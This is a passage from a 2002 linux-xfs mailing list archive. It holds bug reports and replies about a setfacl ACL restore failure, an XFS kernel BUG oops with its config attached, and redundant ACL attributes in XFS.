iEYEARECAAYFAj1WFg0ACgkQJKx7GixEevw21ACeML2exT2Lwe7faQydQGJk7tzi tZMAn2ljcgYqklhFeXl2u2NpCjx+Wpcm =04EN -----END PGP SIGNATURE----- --YZ5djTAD1cGYuMQK-- From owner-linux-xfs@oss.sgi.com Sun Aug 11 17:23:03 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C0N3Rw026620 for ; Sun, 11 Aug 2002 17:23:03 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C0N3Si026619 for linux-xfs-outgoing; Sun, 11 Aug 2002 17:23:03 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C0MnRw026591 for ; Sun, 11 Aug 2002 17:22:49 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id RAA08792 for ; Sun, 11 Aug 2002 17:25:08 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA16749; Mon, 12 Aug 2002 10:23:38 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7C0LQUi001328; Mon, 12 Aug 2002 10:21:27 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7C0LOkb001326; Mon, 12 Aug 2002 10:21:24 +1000 Date: Mon, 12 Aug 2002 10:21:23 +1000 From: Nathan Scott To: Ethan Benson , agruen@suse.de Cc: linux-xfs@oss.sgi.com, acl-devel@bestbits.at Subject: Re: setfacl bug Message-ID: <20020812002123.GC456@frodo> References: <20020810211425.A23502@plato.local.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020810211425.A23502@plato.local.lan> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk hi, This one needs to be reported to the setfacl author - the fix for this one will need a better knowledge of the setfacl code than I have. Andreas, from a quick look this is almost certainly related to that 2.0.13 change which makes acl_get_file fail for reg files when asked about default ACLs. I've added some ltrace output below which provides a bit more info on top of Ethan's notes. cheers. -- Nathan On Sat, Aug 10, 2002 at 09:14:25PM -0800, Ethan Benson wrote: > I originally noticed this problem start after upgrading to acl 2.0.15, > however i thought perhaps it was related to xattr bugs in 2.4.18 so i > waited until upgrading to 2.4.19 to see if the problem persists, it > does: > > eb@ash ~/tmp$ mkdir src dst > eb@ash ~/tmp$ mkdir src/dir dst/dir > eb@ash ~/tmp$ touch src/dir/file dst/dir/file > eb@ash ~/tmp$ setfacl -m u:bin:r-- src/dir/file > eb@ash ~/tmp$ (cd src ; getfacl --skip-base -R -P .) | (cd dst ; setfacl --restore=-) > setfacl: dir/file: Permission denied > eb@ash ~/tmp$ getfacl src/dir/file > # file: src/dir/file > # owner: eb > # group: eb > user::rw- > user:bin:r-- > group::r-- > mask::r-- > other::r-- > > eb@ash ~/tmp$ getfacl dst/dir/file > # file: dst/dir/file > # owner: eb > # group: eb > user::rw- > group::r-- > other::r-- > > i use the above method as part of my backup script, it worked with acl > 2.0.8 but not with 2.0.15. > > current kernel is 2.4.19 with split patches, previous kernel was > 2.4.18 with split patches. > > here is the relevant piece of strace output: > > lstat64(0x10015750, 0x7ffff8c8) = 0 > SYS_212(0x10015750, 0xffeeb84, 0x7ffff710, 0x84, 0xa0a0a0a) = -1 ENODATA (No data available) > stat64(0x10015750, 0x7ffff7a8) = 0 > SYS_212(0x10015750, 0xffeeb9c, 0x7ffff710, 0x84, 0xff95d20) = -1 ENODATA (No data available) > stat64(0x10015750, 0x7ffff7a8) = 0 > open("/usr/share/locale/en_US/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) > open("/usr/share/locale/en/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) > write(2, "setfacl: dir/file: Permission de"..., 37setfacl: dir/file: Permission denied) = 37 > read(0, "", 4096) = 0 > exit(0) = ? > > > -- > Ethan Benson > http://www.alaska.net/~erbenson/ $ ( cd src ; getfacl --skip-base -R -P . ) | ( cd dst ; ltrace setfacl --restore=- ) [...] acl_get_file(0x0804daf0, 32768, 0x40136680, 0x4004e1de, 1) = 0x0804ee24 acl_dup(0x0804ee24, 32768, 0x40136680, 0x4004e1de, 1) = 0x0804eeb4 acl_free(0x0804eeb4, 0, 0xbffff978, 5, 0x0804ed30) = 0 acl_init(5, 0x40012c90, 0xbffff97c, 0x0804a805, 0x0804eeb4) = 0x0804eecc acl_get_file(0x0804daf0, 16384, 0xbffff90c, 0x4001c8a6, 1) = 0 __errno_location() = 0x40139a20 __errno_location() = 0x40139a20 strerror(13) = "Permission denied" fprintf(0x40136360, "%s: %s: %s\n", "setfacl", "dir/file", "Permission denied"setfacl: dir/file: Permission denied ) = 37 acl_free(0x0804eecc, 1, 0xbffff978, 5, 0x0804ed30) = 0 acl_free(0x0804ee24, 1, 0xbffff978, 5, 0x0804ed30) = 0 From owner-linux-xfs@oss.sgi.com Sun Aug 11 17:26:32 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C0QWRw026773 for ; Sun, 11 Aug 2002 17:26:32 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C0QWU8026772 for linux-xfs-outgoing; Sun, 11 Aug 2002 17:26:32 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ping.uio.no (ping.uio.no [129.240.78.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C0PcRw026720 for ; Sun, 11 Aug 2002 17:25:39 -0700 Received: from wirth.ping.uio.no ([129.240.78.27]) by ping.uio.no with esmtp (Exim 3.12 #1 (Debian)) id 17e33t-0007Rh-00; Mon, 12 Aug 2002 02:27:57 +0200 Received: from ilmari by wirth.ping.uio.no with local (Exim 3.35 #1 (Debian)) id 17e33s-0007JM-00; Mon, 12 Aug 2002 02:27:56 +0200 To: linux-kernel@vger.kernel.org, linux-xfs@oss.sgi.com Subject: kernel BUG at filemap.c:843! From: ilmari@ping.uio.no (Dagfinn Ilmari =?iso-8859-1?q?Manns=E5ker?=) Organization: Program-, Informasjons- og Nettverksteknologisk Gruppe, UiO Date: 12 Aug 2002 02:27:56 +0200 Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-Spam-Status: No, hits=0.5 required=5.0 tests=PLING version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=-=-= Hi, I have been bitten a few times by the BUG() in unlock_page(), both with 2.4.19-rc3-xfs and 2.4.19-xfs (the latter checked out from SGI's CVS on Aug 10). The system is SCSI-only, with a raid5 array as an LVM physical volume and XFS on all the volumes. Software-wise it's Debian Woody, but the kernel is compiled on a Sid box with gcc 2.95.4-16. Attached are the decoded oops, the module list and the config. -- ilmari --=-=-= Content-Disposition: attachment; filename=decoded Content-Description: Decoded oops ksymoops 2.4.6 on i686 2.4.19-rc2. Options used -v vmlinux (specified) -k ksyms (specified) -l lsmod (specified) -o /lib/modules/2.4.19-rc2/ (default) -m System.map (specified) kernel BUG at filemap.c:843! invalid operand: 0000 CPU: 0 EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010246 eax: 00000000 ebx: c11e6fb8 ecx: 00000017 edx: c02712f4 esi: c1420b24 edi: c6ba5a00 ebp: cdcc2be0 esp: cf6c3a64 ds: 0018 es: 0018 ss: 0018 Process smbd (pid: 29540, stackpage=cf6c3000) Stack: ce9217e0 d787f958 c01a38d4 ce9217e0 d787f958 d787f800 ffffffff c11e6fb8 c01a3911 ce9217e0 00000001 00000001 d88ae190 ce9217e0 00000001 d787f000 d787f800 00000000 ce9217e0 00000000 00000000 ffffffe4 00000000 00000000 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 0f 0b 4b 03 20 54 24 c0 8d 46 04 39 46 04 74 0e 31 c9 ba 03 >>EIP; c012574e <===== >>ebx; c11e6fb8 <_end+efce40/1859bee8> >>edx; c02712f4 >>esi; c1420b24 <_end+11369ac/1859bee8> >>edi; c6ba5a00 <_end+68bb888/1859bee8> >>ebp; cdcc2be0 <_end+d9d8a68/1859bee8> >>esp; cf6c3a64 <_end+f3d98ec/1859bee8> Trace; c01a38d4 <_end_pagebuf_page_io_multi+dc/108> Trace; c01a3911 <_end_io_multi_full+11/18> Trace; d88ae190 <[raid5]handle_stripe+ce8/e48> Trace; d88ae487 <[raid5]raid5_make_request+df/104> Trace; d889914c <[md]md_make_request+38/64> Trace; c01cc68c Trace; c01a3900 <_end_io_multi_full+0/18> Trace; c01a3d03 <_pagebuf_page_io+3d3/440> Trace; c0125989 Trace; c01a3e81 <_page_buf_page_apply+111/120> Trace; c01a435d <_pagebuf_segment_apply+b5/114> Trace; c01a3f77 Trace; c01a36d6 Trace; c01a30e0 Trace; c0198d1c Trace; c0185b18 Trace; c0186b27 Trace; c0184c91 Trace; c0143b66 Trace; c0184fda Trace; c019a0bc Trace; c019e0e3 Trace; c01a8744 Trace; c013a00b Trace; c013a737 Trace; c0139d8d Trace; c013a9d6 Trace; c013ad61 <__user_walk+35/50> Trace; c0137e5d Trace; c01316c3 Trace; c010856f Code; c012574e 00000000 <_EIP>: Code; c012574e <===== 0: 0f 0b ud2a <===== Code; c0125750 2: 4b dec %ebx Code; c0125751 3: 03 20 add (%eax),%esp Code; c0125753 5: 54 push %esp Code; c0125754 6: 24 c0 and $0xc0,%al Code; c0125756 8: 8d 46 04 lea 0x4(%esi),%eax Code; c0125759 b: 39 46 04 cmp %eax,0x4(%esi) Code; c012575c e: 74 0e je 1e <_EIP+0x1e> c012576c Code; c012575e 10: 31 c9 xor %ecx,%ecx Code; c0125760 12: ba 03 00 00 00 mov $0x3,%edx --=-=-= Content-Disposition: attachment; filename=lsmod Content-Description: Loaded modules mga_vid 8376 0 (autoclean) (unused) rtc 5884 0 (autoclean) (unused) i2c-matroxfb 2996 0 (unused) i2c-algo-bit 7048 3 [i2c-matroxfb] matroxfb_base 16804 63 [i2c-matroxfb] matroxfb_DAC1064 6260 0 [matroxfb_base] matroxfb_accel 7240 0 [matroxfb_base matroxfb_DAC1064] fbcon-cfb24 4168 0 [matroxfb_accel] fbcon-cfb8 3240 0 [matroxfb_accel] fbcon-cfb32 3592 0 [matroxfb_accel] fbcon-cfb16 3880 0 [matroxfb_accel] g450_pll 3360 0 [matroxfb_DAC1064] matroxfb_misc 14060 0 [i2c-matroxfb matroxfb_base matroxfb_DAC1064 matroxfb_accel g450_pll] snd-seq-midi 3136 0 (autoclean) (unused) snd-seq-oss 22368 0 (unused) snd-seq-midi-event 2696 0 [snd-seq-midi snd-seq-oss] snd-seq 35824 2 [snd-seq-midi snd-seq-oss snd-seq-midi-event] snd-pcm-oss 35076 0 (unused) snd-mixer-oss 8764 0 (unused) snd-ens1371 9420 0 snd-pcm 46528 0 [snd-pcm-oss snd-ens1371] snd-timer 9704 0 [snd-seq snd-pcm] snd-rawmidi 11648 0 [snd-seq-midi snd-ens1371] snd-seq-device 3648 0 [snd-seq-midi snd-seq-oss snd-seq snd-rawmidi] snd-ac97-codec 22724 0 [snd-ens1371] snd 24012 0 [snd-seq-midi snd-seq-oss snd-seq-midi-event snd-seq snd-pcm-oss snd-mixer-oss snd-ens1371 snd-pcm snd-timer snd-rawmidi snd-seq-device snd-ac97-codec] soundcore 3332 8 [snd] 8139too 13704 1 (autoclean) mii 1056 0 (autoclean) [8139too] ipt_state 568 6 (autoclean) ip_conntrack_ftp 3104 0 (unused) ip_conntrack 12828 2 (autoclean) [ipt_state ip_conntrack_ftp] iptable_filter 1672 1 (autoclean) ip_tables 10328 2 [ipt_state iptable_filter] sr_mod 12848 0 (autoclean) (unused) cdrom 28640 0 (autoclean) [sr_mod] lvm-mod 60672 22 raid5 16392 1 (autoclean) xor 8692 0 (autoclean) [raid5] md 56864 2 (autoclean) [raid5] mousedev 3768 1 eeprom 3504 0 (unused) w83781d 19224 0 (unused) i2c-proc 6128 0 [eeprom w83781d] i2c-piix4 3888 0 (unused) i2c-core 12132 0 [i2c-algo-bit eeprom w83781d i2c-proc i2c-piix4] --=-=-= Content-Disposition: attachment; filename=config Content-Description: Kernel configuration CONFIG_X86=y CONFIG_ISA=y CONFIG_UID16=y CONFIG_EXPERIMENTAL=y CONFIG_MODULES=y CONFIG_KMOD=y CONFIG_MPENTIUMIII=y CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_TSC=y CONFIG_X86_GOOD_APIC=y CONFIG_X86_PGE=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_MCE=y CONFIG_MICROCODE=m CONFIG_X86_MSR=m CONFIG_X86_CPUID=m CONFIG_NOHIGHMEM=y CONFIG_MTRR=y CONFIG_NET=y CONFIG_PCI=y CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y CONFIG_PCI_NAMES=y CONFIG_HOTPLUG=y CONFIG_SYSVIPC=y CONFIG_SYSCTL=y CONFIG_KCORE_ELF=y CONFIG_BINFMT_AOUT=m CONFIG_BINFMT_ELF=y CONFIG_BINFMT_MISC=m CONFIG_PM=y CONFIG_APM=y CONFIG_APM_CPU_IDLE=y CONFIG_APM_RTC_IS_GMT=y CONFIG_PARPORT=m CONFIG_PARPORT_PC=m CONFIG_PARPORT_PC_CML1=m CONFIG_PARPORT_PC_FIFO=y CONFIG_PARPORT_1284=y CONFIG_PNP=y CONFIG_ISAPNP=y CONFIG_BLK_DEV_FD=m CONFIG_BLK_DEV_LOOP=m CONFIG_MD=y CONFIG_BLK_DEV_MD=m CONFIG_MD_LINEAR=m CONFIG_MD_RAID0=m CONFIG_MD_RAID1=m CONFIG_MD_RAID5=m CONFIG_BLK_DEV_LVM=m CONFIG_PACKET=y CONFIG_PACKET_MMAP=y CONFIG_NETFILTER=y CONFIG_FILTER=y CONFIG_UNIX=y CONFIG_INET=y CONFIG_IP_MULTICAST=y CONFIG_IP_NF_CONNTRACK=m CONFIG_IP_NF_FTP=m CONFIG_IP_NF_IRC=m CONFIG_IP_NF_QUEUE=m CONFIG_IP_NF_IPTABLES=m CONFIG_IP_NF_MATCH_LIMIT=m CONFIG_IP_NF_MATCH_MAC=m CONFIG_IP_NF_MATCH_MARK=m CONFIG_IP_NF_MATCH_MULTIPORT=m CONFIG_IP_NF_MATCH_TOS=m CONFIG_IP_NF_MATCH_AH_ESP=m CONFIG_IP_NF_MATCH_LENGTH=m CONFIG_IP_NF_MATCH_TTL=m CONFIG_IP_NF_MATCH_TCPMSS=m CONFIG_IP_NF_MATCH_STATE=m CONFIG_IP_NF_MATCH_UNCLEAN=m CONFIG_IP_NF_MATCH_OWNER=m CONFIG_IP_NF_FILTER=m CONFIG_IP_NF_TARGET_REJECT=m CONFIG_IP_NF_TARGET_MIRROR=m CONFIG_IP_NF_NAT=m CONFIG_IP_NF_NAT_NEEDED=y CONFIG_IP_NF_TARGET_MASQUERADE=m CONFIG_IP_NF_TARGET_REDIRECT=m CONFIG_IP_NF_NAT_LOCAL=y CONFIG_IP_NF_NAT_SNMP_BASIC=m CONFIG_IP_NF_NAT_IRC=m CONFIG_IP_NF_NAT_FTP=m CONFIG_IP_NF_MANGLE=m CONFIG_IP_NF_TARGET_TOS=m CONFIG_IP_NF_TARGET_MARK=m CONFIG_IP_NF_TARGET_LOG=m CONFIG_IP_NF_TARGET_ULOG=m CONFIG_IP_NF_TARGET_TCPMSS=m CONFIG_IDE=m CONFIG_BLK_DEV_IDE=m CONFIG_BLK_DEV_IDEDISK=m CONFIG_IDEDISK_MULTI_MODE=y CONFIG_BLK_DEV_IDECD=m CONFIG_BLK_DEV_IDEPCI=y CONFIG_IDEPCI_SHARE_IRQ=y CONFIG_BLK_DEV_IDEDMA_PCI=y CONFIG_IDEDMA_PCI_AUTO=y CONFIG_BLK_DEV_IDEDMA=y CONFIG_BLK_DEV_ADMA=y CONFIG_BLK_DEV_PIIX=y CONFIG_PIIX_TUNING=y CONFIG_IDEDMA_AUTO=y CONFIG_BLK_DEV_IDE_MODES=y CONFIG_SCSI=y CONFIG_BLK_DEV_SD=y CONFIG_BLK_DEV_SR=m CONFIG_BLK_DEV_SR_VENDOR=y CONFIG_CHR_DEV_SG=m CONFIG_SCSI_DEBUG_QUEUES=y CONFIG_SCSI_MULTI_LUN=y CONFIG_SCSI_CONSTANTS=y CONFIG_SCSI_SYM53C8XX=y CONFIG_NETDEVICES=y CONFIG_DUMMY=m CONFIG_TUN=m CONFIG_NET_ETHERNET=y CONFIG_NET_PCI=y CONFIG_NE2K_PCI=m CONFIG_8139TOO=m CONFIG_INPUT=y CONFIG_INPUT_KEYBDEV=y CONFIG_INPUT_MOUSEDEV=m CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_SERIAL=y CONFIG_SERIAL_CONSOLE=y CONFIG_UNIX98_PTYS=y CONFIG_PRINTER=m CONFIG_I2C=m CONFIG_I2C_ALGOBIT=m CONFIG_I2C_CHARDEV=m CONFIG_I2C_PROC=m CONFIG_RTC=m CONFIG_AGP=m CONFIG_AGP_INTEL=y CONFIG_DRM=y CONFIG_DRM_NEW=y CONFIG_DRM_MGA=m CONFIG_FS_POSIX_ACL=y CONFIG_REISERFS_FS=m CONFIG_EXT3_FS=m CONFIG_JBD=m CONFIG_FAT_FS=m CONFIG_VFAT_FS=m CONFIG_TMPFS=y CONFIG_RAMFS=y CONFIG_ISO9660_FS=m CONFIG_JOLIET=y CONFIG_ZISOFS=y CONFIG_PROC_FS=y CONFIG_DEVFS_FS=y CONFIG_DEVFS_MOUNT=y CONFIG_EXT2_FS=m CONFIG_XFS_FS=y CONFIG_NFS_FS=m CONFIG_NFS_V3=y CONFIG_NFSD=m CONFIG_NFSD_V3=y CONFIG_SUNRPC=m CONFIG_LOCKD=m CONFIG_LOCKD_V4=y CONFIG_SMB_FS=m CONFIG_ZISOFS_FS=m CONFIG_ZLIB_FS_INFLATE=m CONFIG_MSDOS_PARTITION=y CONFIG_SMB_NLS=y CONFIG_NLS=y CONFIG_NLS_CODEPAGE_437=m CONFIG_NLS_CODEPAGE_850=m CONFIG_NLS_CODEPAGE_865=m CONFIG_NLS_ISO8859_1=m CONFIG_NLS_ISO8859_15=m CONFIG_NLS_UTF8=m CONFIG_VGA_CONSOLE=y CONFIG_VIDEO_SELECT=y CONFIG_FB=y CONFIG_DUMMY_CONSOLE=y CONFIG_VIDEO_SELECT=y CONFIG_FB_MATROX=m CONFIG_FB_MATROX_G100=y CONFIG_FB_MATROX_I2C=m CONFIG_FB_MATROX_MAVEN=m CONFIG_FBCON_CFB8=m CONFIG_FBCON_CFB16=m CONFIG_FBCON_CFB24=m CONFIG_FBCON_CFB32=m CONFIG_FONT_8x8=y CONFIG_FONT_8x16=y CONFIG_SOUND=m CONFIG_USB=y CONFIG_USB_DEVICEFS=y CONFIG_USB_UHCI=y CONFIG_USB_STORAGE=m CONFIG_USB_STORAGE_DATAFAB=y CONFIG_USB_STORAGE_FREECOM=y CONFIG_USB_STORAGE_ISD200=y CONFIG_USB_STORAGE_DPCM=y CONFIG_USB_STORAGE_HP8200e=y CONFIG_USB_STORAGE_SDDR09=y CONFIG_USB_STORAGE_JUMPSHOT=y CONFIG_USB_HID=y CONFIG_USB_HIDINPUT=y CONFIG_DEBUG_KERNEL=y CONFIG_MAGIC_SYSRQ=y --=-=-=-- From owner-linux-xfs@oss.sgi.com Sun Aug 11 17:29:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C0TiRw026992 for ; Sun, 11 Aug 2002 17:29:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C0Ti1H026991 for linux-xfs-outgoing; Sun, 11 Aug 2002 17:29:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C0TcRw026963 for ; Sun, 11 Aug 2002 17:29:38 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id RAA08336 for ; Sun, 11 Aug 2002 17:31:58 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA16823; Mon, 12 Aug 2002 10:30:39 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7C0SSUi001349; Mon, 12 Aug 2002 10:28:28 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7C0SSQh001347; Mon, 12 Aug 2002 10:28:28 +1000 Date: Mon, 12 Aug 2002 10:28:28 +1000 From: Nathan Scott To: Ethan Benson Cc: linux-xfs@oss.sgi.com Subject: Re: acl_extended_file() still returning somewhat innaccurate info Message-ID: <20020812002828.GD456@frodo> References: <20020810234517.A23734@plato.local.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020810234517.A23734@plato.local.lan> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sat, Aug 10, 2002 at 11:45:17PM -0800, Ethan Benson wrote: > ... > ideally XFS would not unecessarily create this attribute when the > standard permission bits are sufficient, Yep, that would be ideal. It may happen eventually, but its not really high on the priority list at the moment. > this would perhaps save some > small ammount of disk space as well. failing that is it possible to > fix acl_extended_file() to notice and ignore superflurious > posix_acl_access attributes that are doing nothing but duplicating the > standard mode bits? Probably best to ask Andreas that one. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Sun Aug 11 17:44:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C0iFRw027330 for ; Sun, 11 Aug 2002 17:44:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C0iFc3027329 for linux-xfs-outgoing; Sun, 11 Aug 2002 17:44:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C0i5Rw027299 for ; Sun, 11 Aug 2002 17:44:05 -0700 Received: from erbenson.alaska.net (167-pm11.nwc.alaska.net [209.112.140.167]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7C0kO6h001894 for ; Sun, 11 Aug 2002 16:46:24 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 545C03A0B for ; Sun, 11 Aug 2002 16:46:23 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 62DAB10294; Sun, 11 Aug 2002 16:46:23 -0800 (AKDT) Date: Sun, 11 Aug 2002 16:46:23 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: acl_extended_file() still returning somewhat innaccurate info Message-ID: <20020811164623.D23734@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020810234517.A23734@plato.local.lan> <20020812002828.GD456@frodo> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="lc9FT7cWel8HagAv" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020812002828.GD456@frodo>; from nathans@sgi.com on Mon, Aug 12, 2002 at 10:28:28AM +1000 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --lc9FT7cWel8HagAv Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Aug 12, 2002 at 10:28:28AM +1000, Nathan Scott wrote: > On Sat, Aug 10, 2002 at 11:45:17PM -0800, Ethan Benson wrote: > > ... > > ideally XFS would not unecessarily create this attribute when the > > standard permission bits are sufficient, >=20 > Yep, that would be ideal. It may happen eventually, but its > not really high on the priority list at the moment. there is already code to ensure that the inode mode feild is in sync with the USER, GROUP, and OTHER ACEs how difficult would it be to delete the attribute at that point if it contains no further ACEs ? > > this would perhaps save some > > small ammount of disk space as well. failing that is it possible to > > fix acl_extended_file() to notice and ignore superflurious > > posix_acl_access attributes that are doing nothing but duplicating the > > standard mode bits? >=20 > Probably best to ask Andreas that one. i tend to think adding more weight to acl_extended_file() is probably the wrong approach since its really XFS which is not handling default acls the way it should. fwiw i just checked a SunOS box, and it does not have this problem. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --lc9FT7cWel8HagAv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1XBV4ACgkQJKx7GixEevyUCACfaoYTUkLZLEAwkbUSZllvDDC7 k/4AmQEBi2he4FxPZerdW1/0Q5z6Gul0 =rqho -----END PGP SIGNATURE----- --lc9FT7cWel8HagAv-- From owner-linux-xfs@oss.sgi.com Sun Aug 11 17:58:09 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7C0w9Rw027599 for ; Sun, 11 Aug 2002 17:58:09 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7C0w94H027598 for linux-xfs-outgoing; Sun, 11 Aug 2002 17:58:09 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7C0vmRw027567 for ; Sun, 11 Aug 2002 17:57:48 -0700 Received: from erbenson.alaska.net (167-pm11.nwc.alaska.net [209.112.140.167]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7C1046h014133; Sun, 11 Aug 2002 17:00:04 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 37A853A0B; Sun, 11 Aug 2002 17:00:03 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 7EC0810294; Sun, 11 Aug 2002 17:00:03 -0800 (AKDT) Date: Sun, 11 Aug 2002 17:00:03 -0800 From: Ethan Benson To: Nathan Scott Cc: agruen@suse.de, linux-xfs@oss.sgi.com, acl-devel@bestbits.at Subject: Re: setfacl bug Message-ID: <20020811170003.E23734@plato.local.lan> Mail-Followup-To: Nathan Scott , agruen@suse.de, linux-xfs@oss.sgi.com, acl-devel@bestbits.at References: <20020810211425.A23502@plato.local.lan> <20020812002123.GC456@frodo> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="0H629O+sVkh21xTi" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020812002123.GC456@frodo>; from nathans@sgi.com on Mon, Aug 12, 2002 at 10:21:23AM +1000 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --0H629O+sVkh21xTi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable one more detail, setfacl -b is also completly broken, it just returns Permission denied for regular files. this is consistent with Nathan's assessment that acl_get_file needs to not fail on regular files. sidenote, why is setfacl returning permission denied? this does not seem to be the correct error. On Mon, Aug 12, 2002 